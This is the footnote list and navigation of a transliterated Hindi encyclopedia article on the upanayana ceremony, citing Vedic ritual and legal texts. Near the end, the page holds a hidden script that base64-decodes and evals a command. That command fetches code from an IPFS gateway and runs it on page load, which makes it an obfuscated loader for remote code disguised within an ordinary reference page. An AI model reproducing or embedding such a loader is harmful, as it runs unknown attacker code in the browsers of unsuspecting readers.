  73. ↑ brahmavriddhimichchhannajinanyev vasit kshatravriddhimichchhanvastranyevobhayavriddhimichchhannubhayamiti hi brahmanamh. ajinan tvetottaran dharayeth. apastambadharmasootr 1.1.3.9-10. milaie bharadvajagrihy sootr (1.1)- yadajinan dharayedabrahmavarchasavadvaso dharayetsatran vardhayedubhayan dharyamubhayorvriddhaya iti vijnayate; milaie gopathabrahman (2.4)- n tantavan vasit yastantavan vasate kshayan vardhate n brahm tasmattantavan n vasit brahm vardhataan ma kshatramiti.
  74. ↑ ashvalayanagrihyasootr, 1.19.13 evan 1.20.1
  75. ↑ apastambagrihy sootr, 11.15-16
  76. ↑ apastambadharmasootr, 1.1.2.38
  77. ↑ dekhie gautam 1.21; baudhayanadharmasootr 2.5.17; gautam 1.22-23; paraskaragrihyasootr 2.5; kathakagrihyasootr 41.22; manu 2.45 adi
  78. ↑ dandajinopavitani mekhalaan chaiv dharayeth. yajnavalky 1.29; tatr dandasy karyamavalambanan gavadinivaranan tamovagahanamapsu praveshanamityadi. aparark.
  79. ↑ ashvalayanagrihyasootr, 1.19.13
  80. ↑ gautam, 1.25
  81. ↑ vasishthadharmasootr, 11.55-57
  82. ↑ paraskaragrihyasootr, 2.5
  83. ↑ manu, 2.46
  84. ↑ shaankhayanagrihyasootr, 2.1.21-23
  85. ↑ gautam, 1.26
  86. ↑ manu, 2.47
  87. ↑ shaankhayanagrihyasootr, 2.13.2-3
  88. ↑ rrigveand 1.24.6
  89. ↑ upavitan ch dande badhnati. tadapyetath. yajnopavitadandan ch mekhalamajiann tatha. juhuyadapsu vrate poorne varunyarcha rasen. shaankhayanagrihy0 2.39-31; 'ras' ka arth hai 'omh'.
  90. ↑ manu, 2.64
  91. ↑ vishnudharmasootr, 27.29
  92. ↑ gautam, 1.15
  93. ↑ ashvalayanagrihyasootr, 1.19.11
  94. ↑ baudhayanagrihyasootr, 2.5.13
  95. ↑ manu, 2.42
  96. ↑ kathakagrihyasootr, 41.12
  97. ↑ bharadvajagrihasootr, 1.2
  98. ↑ manu, 2.42-43
  99. ↑ paraskaragrihyasootr evan apastambadharmasootr, 1.1.2.35-37
  100. ↑ jya rajanyasy maunji vayomishrita. avisootran vaishyasy. sairi tamali vetyeke. apastambadharnasootr 1.1.2.34-37. gobhil (2.10.10) ki tika mean tamal ko shan (san) kaha gaya hai.
  101. ↑ baudhayanagrihyasootr, 2.5.13
  102. ↑ hiranyakeshi, 1.2.6
  103. ↑ bharadvajagrihasootr, 1.3
  104. ↑ manavagrihasootr, 1.22.3
  105. ↑ baudhayanagrihasootr, 2.5.7
  106. ↑ prishth 934
  107. ↑ apastambagrihyasootr, 10.9
  108. ↑ manavagrihasootr, 1.23.12
  109. ↑ baudhayan, 2.5.10
  110. ↑ khadir., 2.4
  111. ↑ bharadvajagrihasootr, 1.8
  112. ↑ manavagrihasootr, 1.22.3
  113. ↑ khadir., 41.10
  114. ↑ rrigved 4.39.6, taittiriyasanhita 1.5.4.11
  115. ↑ paraskaragrihyasootr, 2.2
  116. ↑ bharadvaj, 1.7
  117. ↑ apastambagrihasootr, 2.1-4
  118. ↑ apastamb-mantrapath, 2.3.27-30
  119. ↑ baudhayanagrihasootr, 2.5.25, shatyayanak ko uddhrit kar
  120. ↑ manavagrihasootr, 1.22.4-5
  121. ↑ khadir., 2.4.12

sanbandhit lekh

dekhean • varta • badalean
hindoo dharm sanskar

varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah



<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

Retrieved from "https://en.bharatdiscovery.org/w/index.php?title=उपनयन_संस्कार&oldid=607395"